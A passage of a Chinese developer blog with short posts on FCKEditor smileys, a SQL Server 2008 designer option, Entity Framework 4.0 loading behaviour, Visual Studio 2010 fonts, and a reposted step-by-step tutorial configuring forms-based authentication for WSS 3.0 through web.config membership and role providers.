所以總結,是比較建議使用上方介紹的第二種做法,直接指定整體環境(在Web環境是ApplicationPool)使用x86運行,
應該會是比較保險的做法。

幫FCKEditor新增MSN小圖示

擷取 

  1. 開啟FCKEditor設定檔fckconfig.js
  2. 找到設定檔中,小圖示的設定處FCKConfig.SmileyImages,加入要新增圖示的檔名,如上範例8.gif
  3. 將新增的圖示放入FCKEditor模組目錄中,fckeditor\editor\images\smiley\msn\

依照上圖步驟,就可以輕易完成小圖示的新增囉~
可看到圖中步驟4.在FCKEditor功能中,便可看到新增的圖示囉~~

Sql 2008 新增資料表修改保護機制

有時候,當專案有需求,希望可以在資料表中增加一個欄位。

當新增的欄位,或異動,需要重建資料表,才有辦法正確變更成功的話。

在Sql 2008 便會得到如下的訊息,提醒您的異動因為需要drop 再 re-create 資料表。

此異動在預設是不允許的,我想,也許這是要保護資料不會不小心被刪掉。

擷取

可是當我們是專案剛開始在設計資料表時,資料表內還沒有任何資料。

應該是可以異動,不會有風險的。那該怎麼辦呢?!

仔細看於上圖的訊息中,有提到一個新增的選項,

The Option Prevent saving changes that require the table to be re-created.

在新版的sql2008中,增加了這個選項的防護。確保資料不會不小心被刪除了。

 

但當我們真的需要直接重建資料表,

我們可以再以下路徑找到這個設定:

Option → Designer → Table and DataBase Designers → Prevent saving changes that require table re-creation.

擷取2

預設這個選項是打勾的,表示需要啟用此保護機制。

在這邊只要將此選項勾選掉,即可直接儲存需Re-creation資料表的異動了。

但我想,異動完還是必須記得將此選項修改回啟用,

這選項應可有效確保資料不會因不小心異動資料表而被刪除!!!

Entity Framework 4.0 與 2.0 發現的差異?!

這裡的測試使用環境為Vistual Studio 2010 ,因此可分別建立.net 3.5 使用EF2.0 ,與.net 4.0使用EF4.0的專案來做比較。相信可以更容易感受到此功能的差異。

在開始前,先建立關聯的資料表,關聯圖如下:

擷取3

這裡有兩個多對多的資料表,分別為Block與Items,而這兩個資料表於Entity Framework 中的Model圖如下:

擷取1

因為BlockItems是兩個Table的關聯資料表,因此會直接在Model圖中,對應多對多關係。

在建立Entity Framework 時可選擇的選項畫面如下。

VS2008 .Net3.5設定畫面:

擷取6

VS2010 .Net3.5設定畫面:

擷取4 

VS2010 .Net4.0 設定畫面:

擷取5

接著實際寫一段code將Block逐筆寫出,並且於Block下逐筆寫出其包含之Items,

static void Main(string[] args)
{
  Entities context = new Entities();
  var q = from a in context.Block
          select a;
  foreach (var block in q)
  {
    Console.WriteLine("取區塊名稱:" + block.BlockName);
    foreach (var item in block.Items)
    {
      Console.WriteLine("---選購項目:" + item.Name);
    }
  }
}

寫出結果如下:

vs2010 .net3.5 輸出結果:

擷取7

vs2010 .net 4.0 輸出結果:

擷取8

這邊可以看出結果的差異!!!!!

為什麼會有這樣的差異呢?!

底下Debug,看一下分別在不同Framework 下,可取到的Items 資料的差異。

vs2010 .net3.5  Items內容數:

擷取0

vs2010 .net 4.0 Items內容數:

擷取

可以看到,在Entity Framework 4.0 當我們用LINQ to Entity 取到Block 時,

便同時已經取到跟他相關聯的所有Items 了,可是在Entity Framework 2.0,這是沒辦法做到的。

因此於EF4.0中,更加貼近我們是在操做Entity了!

原因為何我還不清楚,原以為是新增的 Include foreign key columns in the model 功能影響。

但經過測試,於EF4.0建立Model時,故意不勾選此選項,結果EF4.0依然可正確的抓到Items 值。

先將此問題做紀錄,待有空再來研究原因為何。

讓Vistual Studio 2010 可使用 Fixedsys 字型

因為在vs2010以前版本的vistual studio 開發環境,

最習慣使用Fixedsys作為字型(同事介紹,這字型眼睛看起來真的舒服多了~~~)

但升級至vs2010以後,發現習慣的Fixedsys字型不見了?!

 

原想就將就用別的字型吧~

但我還是一直對Fixedsys字型念念不忘 XD

所以Google了一下發現有人也討論此問題(可見這字型應該很多人喜歡),

 

該討論串,提到原因可能為Vistual Studio 2010 只支援TrueType的字型。

而原Fixedsys不是此類格式,So,在vs2010就沒有支援了。

 

但也有人做了TrueType格式的Fixedsys字型,

我測試將此字型安裝到Windows系統中,

再將vs2010選到此字型(Fixedsys Excelsior 3.01),

真的就可以在vs2010使用Fixedsys字型了~~

 

原提供字型網站:http://www.fixedsysexcelsior.com/

分享給喜歡Fixedsys字型的朋友^__^

Windows 2003 Server 上,加速VS2010執行速度

剛開發到一半,VS2010 突然跳出視窗建議我可安裝以下元件。

http://support.microsoft.com/kb/981741/zh-tw

擷取

真的是滿有意思的,看說明表示,此元件可以加速Vistual Studio 2010 中使用 IntelliSense 的執行速度。

 

我用的是Server 2003,由他的可支援安裝作業系統來看,

不知道 Windows7 是否已經內建有此元件囉~

 

看到這麼好的東西,當然馬上下載來安裝測試看看囉~

推薦給大家~

至於有沒真的變快,就給大家自己安裝後去感覺看看囉~~^__^

WSS 3.0 Form 驗證設定

本文參考自http://technet.microsoft.com/zh-tw/library/dd125486.aspx

相當清楚的教學文章,感謝原作者的分享。

依照原作的教學步驟,測試即可正確使用Form 驗證囉~

WSS 3.0 Form 驗證實作

發佈日期: 2007 年 11 月 1 日

作者: 王恩琦 (TechNet 技術論壇 WSS 版版主;微軟 2007 年度 WSS MVP)
http://blog.blueshop.com.tw/angi/ [ http://blog.blueshop.com.tw/angi/ ]

本頁內容

Stage 1. 建立 WSS 網站
Stage 2. 建立 FBA 資料庫與帳號
Stage 3. 修改 WSS web.config
Stage 4. 設定 WSS 網站的驗證模式

WSS 的 Form 驗證,自 WSS 2.0 開始,就是一直被討論與期待的功能,據官方說法 WSS 2.0 架構是不支援 Form 驗證的,當然,還是有人在 WSS 2.0 版做出 Form 驗證的,真是佩服!

而這回微軟終於在 WSS 3.0 正式支援 Form 驗證的功能,其方法與流程也變得便捷許多,使得 WSS 網站能在 Internet 上公開不再是一件困難的事情了。

本文實作 Form 驗證之前,當然的,必須先擁有一個 WSS 3.0 網站,什麼?不知道 WSS 3.0 為何物?不知道怎麼安裝 WSS 3.0 網站?那煩請先換個地方,參考小弟 Blog 上的拙作【認識 SharePoint 2007 系列】的文章,安裝一下環境。下面,小弟先將整個 WSS 3.0 從安裝開始,到完成 Form 驗證的設定,分成四個階段,並用一個簡單的圖將每個階段的重點步驟點出,相信對接下來要進行的工作,能有比較清晰的輪廓:

clip_image001

Stage 1. 建立 WSS 網站

關於 WSS 網站的建立,本階段僅列出前置作業、安裝過程與安裝相關的連結提供參考,就不在此贅述安裝的過程了:

1. Step 1-1. 安裝前的準備

2. Step 1-2. 安裝 WSS 3.0 與建立網站

3. Step 1-3. 開啟匿名存取

· 認識 SharePoint 2007 系列【01】-【WSS 3.0 正式版安裝】安裝前的準備 [ http://blog.blueshop.com.tw/angi/archive/2006/11/22/45264.aspx ]

· 認識 SharePoint 2007 系列【02】-【WSS 3.0 正式版安裝】安裝之一 [ http://blog.blueshop.com.tw/angi/archive/2006/11/24/45325.aspx ]

· 認識 SharePoint 2007 系列【03】-【WSS 3.0 正式版安裝】安裝之二 [ http://blog.blueshop.com.tw/angi/archive/2006/11/24/45333.aspx ]

· 認識 SharePoint 2007 系列【04】-【WSS 3.0】開啟匿名存取 [ http://blog.blueshop.com.tw/angi/archive/2006/11/24/45334.aspx ]

回到頁首

Stage 2. 建立 FBA 資料庫與帳號

要讓使用者從 Internet 等外部環境登入 WSS 網站,其方法是使用 Form 驗證 (forms-based authentication, FBA);FBA 的實作需要建立一個資料庫來儲存使用者的資訊,做為使用者登入網站驗證的基礎。而在此實作 FBA 的方法是使用 ASP.NET 2.0 與 SQL Server 整合的 Membership 與 Role Provider 機制,這種方法也是最快建置 FBA 的方法。

本階段您要完成下列三個步驟:

1. Step 2-1. 建立 FBA 資料庫

2. Step 2-2. 設定 Membership 與 Provider

3. Step 2-3. 建立使用者帳號

Step 2-1. 建立 FBA 資料庫

打開 Windows 的【執行】,輸入【c:\windows\microsoft.net\framework\v2.0.50727\aspnet_regsql】將會啟動 ASP.NET SQL Server 安裝精靈。

clip_image002

安裝精靈畫面,點選【下一步】。

clip_image003

點選【設定應用程式服務的 SQL Server】。

clip_image004

在【伺服器】輸入您的伺服器名稱,使用【Windows 驗證】,資料庫則輸入【aspnetdb】,按【下一步】。

clip_image005

確認設定畫面,如果輸入有誤,請按【上一步】去修改,如果沒有錯誤則點選【下一步】開始安裝。

clip_image006

資料庫建立完成。

clip_image007

Step 2-2. 設定 Provider

當我們完成資料庫的建立後,使用者資訊、角色資訊當然是空的,所以我們至少要新增一個使用者來做登入的驗證,甚至指定為網站的管理者;由於剛剛建立的 aspnetdb 結構有些許複雜,一時很難瞭解 User、Role 等等之間的關係,所以我們使用 ASP .NET 的 Configuration 功能來快速建立一個帳號輸入介面,這個步驟又可分為幾個小步驟,在這邊先簡要說明一下流程:

1. 先建立 ASP .NET Web Site 專案

2. 修改專案的 web.config 將資料庫指向 aspnetdb

3. 在 web.config 建立新增 Membership 與 Provider

4. 使用 ASP.NET Configuration 產生輸入介面

5. 最後,輸入欲新增的帳號與密碼即完成帳號的新增工作

要設定 Provider 並須使用 Visual Studio 2005 的工具,可在官方網站下載免費的 Visual Web Developer 2005 Express Edition [ http://www.microsoft.com/taiwan/vstudio/express/vwd/download/ ] ,在這邊就不介紹下載與安裝的過程了。

打開【Visual Web Developer 2005 Express】,點選【檔案】【新網站】

clip_image008

在【New Web Site】對話框,選擇【ASP.NET 網站】,【位置】輸入此專案的名稱與存放位置,決定好之後點選【確定】。

clip_image009

按下 OK 之後,即開始建立專案相關的檔案,建立完成後可以看到 Website1 這個專案下面有三個檔案,點選【web.config】修改連線字串。

在<configuration> <appSettings/> 與 <system.web> 之間,修改原來的 <connectionStrings> 為下列資訊,請記得將資料庫伺服器名稱改為自己的資料庫伺服器名稱。

<connectionStrings>
<add name="AspNetSqlProvider" connectionString="server=資料庫伺服器名稱; database=aspnetdb; Trusted_Connection=True" />
</connectionStrings>

clip_image010

接著在 <system.web> 與 <system.web/> 之間,輸入下列資訊,基本上不需做任何修改;預設的 applicationName 為 applicationName="/" ,即將此介面或應用程式指定在根目錄下,如果有更改,則 membership 與 roleManager 的 applicationName 都必須更改。

最重要的是:此段程式碼與上一段連接字串程式碼,與稍後將修改的 WSS 網站與管理中心的 web.config 字串幾乎一模一樣的,也就是說,這邊的兩段程式碼,將來直接貼到 WSS 網站與管理中心的 web.config 即可,不過,管理中心在 roleManager 的部份還是有點不同,這些不同的部分與置放的位置後面再說明。

                 
<membership defaultProvider="AspNetSqlMembershipProvider">
      <providers>
        <remove name="AspNetSqlMembershipProvider" />
        <add connectionStringName="AspNetSqlProvider" 
passwordAttemptWindow="10" 
enablePasswordRetrieval="false" 
enablePasswordReset="true" 
requiresQuestionAndAnswer="true" 
applicationName="/" 
requiresUniqueEmail="false" 
passwordFormat="Hashed" 
description="Stores and retrieves membership data from the Microsoft SQL Server database" 
name="AspNetSqlMembershipProvider" type="System.Web.Security.SqlMembershipProvider, System.Web, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" 
/>
      </providers>
</membership>
 
    <roleManager enabled="true" defaultProvider="AspNetSqlRoleProvider">
      <providers>
        <remove name="AspNetSqlRoleProvider" />
        <add connectionStringName="AspNetSqlProvider" 
applicationName="/" 
description="Stores and retrieves roles data from the local Microsoft SQL Server database" 
name="AspNetSqlRoleProvider" 
type="System.Web.Security.SqlRoleProvider, System.Web, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" 
/>
      </providers>
    </roleManager>

clip_image011

當上述資訊輸入完成後,在【方案總管】點選最右邊的【ASP.NET 組態】,ASP.NET 即開始產生一個虛擬的 Web 應用程式管理介面。

clip_image012

Step 2-3. 建立使用者帳號

接下來我們使用 ASP.Net 網站管理工具來進行使用者帳號的建立。

clip_image013

進到此網站管理工具頁面後,我們先確認此管理工具是否有連接到資料庫,且剛剛設定的相關提供者 (Provider) 是不是都正常連接;所以我們點選【提供者】頁簽,再點選【為每項功能選取不同的提供者 (進階)】。

clip_image014

進入進階選項後,可看到如下的畫面,我們分別測試【成員資格提供者】與【角色提供者】,點選【測試】連結即可開始測試。

clip_image015

只要連接成功,則測試會回傳【已順利建立與資料庫的連接】的資訊。

clip_image016

連接沒問題後,點選【安全性】頁簽,準備選取驗證類型來更改驗證方式與增加使用者帳號;點選【選取驗證類型】。

clip_image017

選擇【從網際網路】,並按下【完成】

clip_image018

接下來直接點選【建立使用者】,當然您可以新增角色,但我們角色將使用 WSS 的角色,所以這邊不設定。

clip_image019

點了建立使用者後,在下面的表單註冊帳戶資訊,如果剛有新增角色,則角色欄會出現可選取的角色,記得勾選【現用使用者】,然後按下【建立使用者】。

clip_image020

按下建立使用者後,出現【完成...】等資訊,按下【繼續】則可在新增使用者。

clip_image021

當建立完成後,可以在【安全性】頁簽看到使用者與角色相關的資訊。

clip_image022

回到頁首

Stage 3. 修改 WSS web.config

第三階段的工作有兩個重點,說難不難,因為我們剛剛已經在第二階段做了設定 Member 與 Provider 的工作,本階段就是要將第二階段的程式碼,加在 WSS 網站的 web.config 與管理中心的 web.config 裡。

本階段您要完成下列兩個步驟:

1. Step 3-1. 修改 WSS 網站的 web.config

2. Step 3-2. 修改管理中心的 web.config

Step 3-1. 修改 WSS 網站的 web.config

首先,先確認所建立的網站是使用哪一個 Port,避免改錯檔案,接著到【C:\Inetpub\wwwroot\wss\VirtualDirectories】路徑下去找相對應的 Port Number,如這次要實作的是 80 Port,所以找到 80 資料夾,並點選 web.config 。

clip_image023

將之前在【Stage 2. 建立FBA資料庫與帳號】的 Step 2. 建立帳號輸入介面所編輯的 <connectionStrings> 程式碼照貼在 </SharePoint> 與 <system.web> 之間,資料庫伺服器名稱記得要改唷!

<connectionStrings>
<add name="AspNetSqlProvider" connectionString="server=資料庫伺服器名稱; database=aspnetdb; Trusted_Connection=True" />
</connectionStrings>

clip_image024

接著再把 Provider 資訊照貼在 <system.web> 之後

     <membership defaultProvider="AspNetSqlMembershipProvider">
        <providers>
          <remove name="AspNetSqlMembershipProvider" />
         <add connectionStringName="AspNetSqlProvider"
               passwordAttemptWindow="10"
               enablePasswordRetrieval="false"
               enablePasswordReset="true"
               requiresQuestionAndAnswer="true"
               applicationName="/"
               requiresUniqueEmail="false"
               passwordFormat="Hashed"
               description="Stores and retrieves membership data from the Microsoft SQL Server database"
               name="AspNetSqlMembershipProvider" 
type="System.Web.Security.SqlMembershipProvider, System.Web, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"
              />
        </providers>
      </membership>
 
      <roleManager enabled="true" defaultProvider="AspNetSqlRoleProvider">
        <providers>
          <remove name="AspNetSqlRoleProvider" />
          <add connectionStringName="AspNetSqlProvider"
               applicationName="/"
               description="Stores and retrieves roles data from the local Microsoft SQL Server database"
               name="AspNetSqlRoleProvider"
               type="System.Web.Security.SqlRoleProvider, System.Web, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"
              />
        </providers>
      </roleManager>

整個位置的擺放如下圖所示,如此就完成了 WSS 網站 web.config 的更改,接下來繼續修改管理中心的 web.config。

clip_image025

Step 3-2. 修改管理中心的 web.config

如同修改 WSS 網站 web.config 的方式,先找到管理中心的資料夾,通常,管理中心的 Port 會是亂數,所以,只要找不是自己設定的 Port Number 就是了(如圖)。

clip_image026

打開之後呢,同樣的把 <connectionStrings> 貼在 </SharePoint> 與 <system.web> 之間,接著將 Provider 資訊照貼在正確的位置上。重點來了,在這邊要更改 <roleManager> 資訊。

之前所使用的 <roleManager> 是使用 AspNetSqlRoleProvider <roleManager enabled="true" defaultProvider="AspNetSqlRoleProvider"> 即,roleManager 角色管理的資訊是使用我們自訂的,但這樣的自訂無法與 WSS 3.0 整合起來,所以繼承 WSS 3.0 的角色管理資訊是最方便的。

現在要將 <roleManager> 改為 AspNetWindowsTokenRoleProvider <roleManager enabled="true" defaultProvider="AspNetWindowsTokenRoleProvider"> 如此,便能使用 WSS 預設的角色管理模式了!

clip_image027

回到頁首

Stage 4. 設定 WSS 網站的驗證模式

終於來到最後一個階段了,在最後的這個階段,要修改兩個部份的設定,分別是修改驗證提供者與新增管理者。

本階段您要完成下列兩個步驟:

1. Step 4-1. 修改驗證提供者:將驗證模式從 Windows 改為 Form 驗證模式

2. Step 4-2. 新增管理者:指定我們在 aspnetdb 所建立的使用者為管理者

Step 4-1. 修改驗證提供者

進到【管理中心】【應用程式管理】在【應用程式安全性】點選【驗證提供者】。

clip_image028

進入【驗證提供者】在【Web 應用程式】可以看到現在的 Web 應用程式為何,且這個應用程式的【成員資格提供者名稱】為【Windows】,則直接點選【預設】。

clip_image029

在編輯驗證畫面裡

· 【驗證類型】選擇【表單】。

· 勾選【啟用匿名存取】。

· 成員資格提供者名稱則輸入【AspNetSqlMembershipProvider】。

· 角色管理員名稱輸入【AspNetSqlRoleProvider】,請確認輸入的字串是正確的!

· 輸入完畢點選【儲存】。

clip_image030

儲存之後,現在看到 Web 應用程式 http://wssfba 的成員資格提供者名稱已改為【AspNetSqlMembershipProvider】,這時到 http://wssfba 去看看。

clip_image031

當進入網站,點選右上角的【登入】就會換成表單驗證的介面,要求輸入帳號與密碼

clip_image032

耶!進入網站了,右上角顯示【歡迎 wssadmin】,不過,怎麼沒有管理網站的【網站動作】呢?那...這樣怎麼管理網站?所以,接下來的動作就是要將 wssadmin 變更為網站管理者!

clip_image033

Step 4-2. 新增管理者

在應用程式管理,【應用程式安全性】點選【Web 應用程式的原則】。

clip_image034

在【Web 應用程式的原則】點選【新增使用者】,當然先確認 Web 應用程式是否為正確要變更的 Web 應用程式。

clip_image035

在新增使用者頁,區域選擇【預設】,因為剛剛在建立驗證提供者時,區域是顯示【預設】,所以這邊選擇預設。

clip_image036

在使用者新增【wssadmin】,並擊點右下角的【檢查名稱】圖示,只要有正確對應,且資料庫中有這個使用者,待名稱檢查完後,使用者 wssadmin 就會變成底線的 wssadmin,如此就可以確定此帳號與設定是沒有錯的;在【權限】勾選【完全控制-具有完全控制權】使 wssadmin 這個使用者可以去管理整個網站,點選【完成】。

clip_image037

新增完畢後,可以看 Web 應用程式的原則,多了一個【預設】【angi】【aspnetsqlmembershipprovider:wssadmin】【完全控制】,這樣就成功了。

clip_image038

再回到網站,登入後就可以看到【網站動作】。

clip_image039

恭喜大家,終於完成了 WSS 3.0 Form 驗證的設定!

在 WSSS 3.0 Form 驗證完成後,伴隨而來的問題是搜尋的問題,有關搜尋的議題,下回再做分享!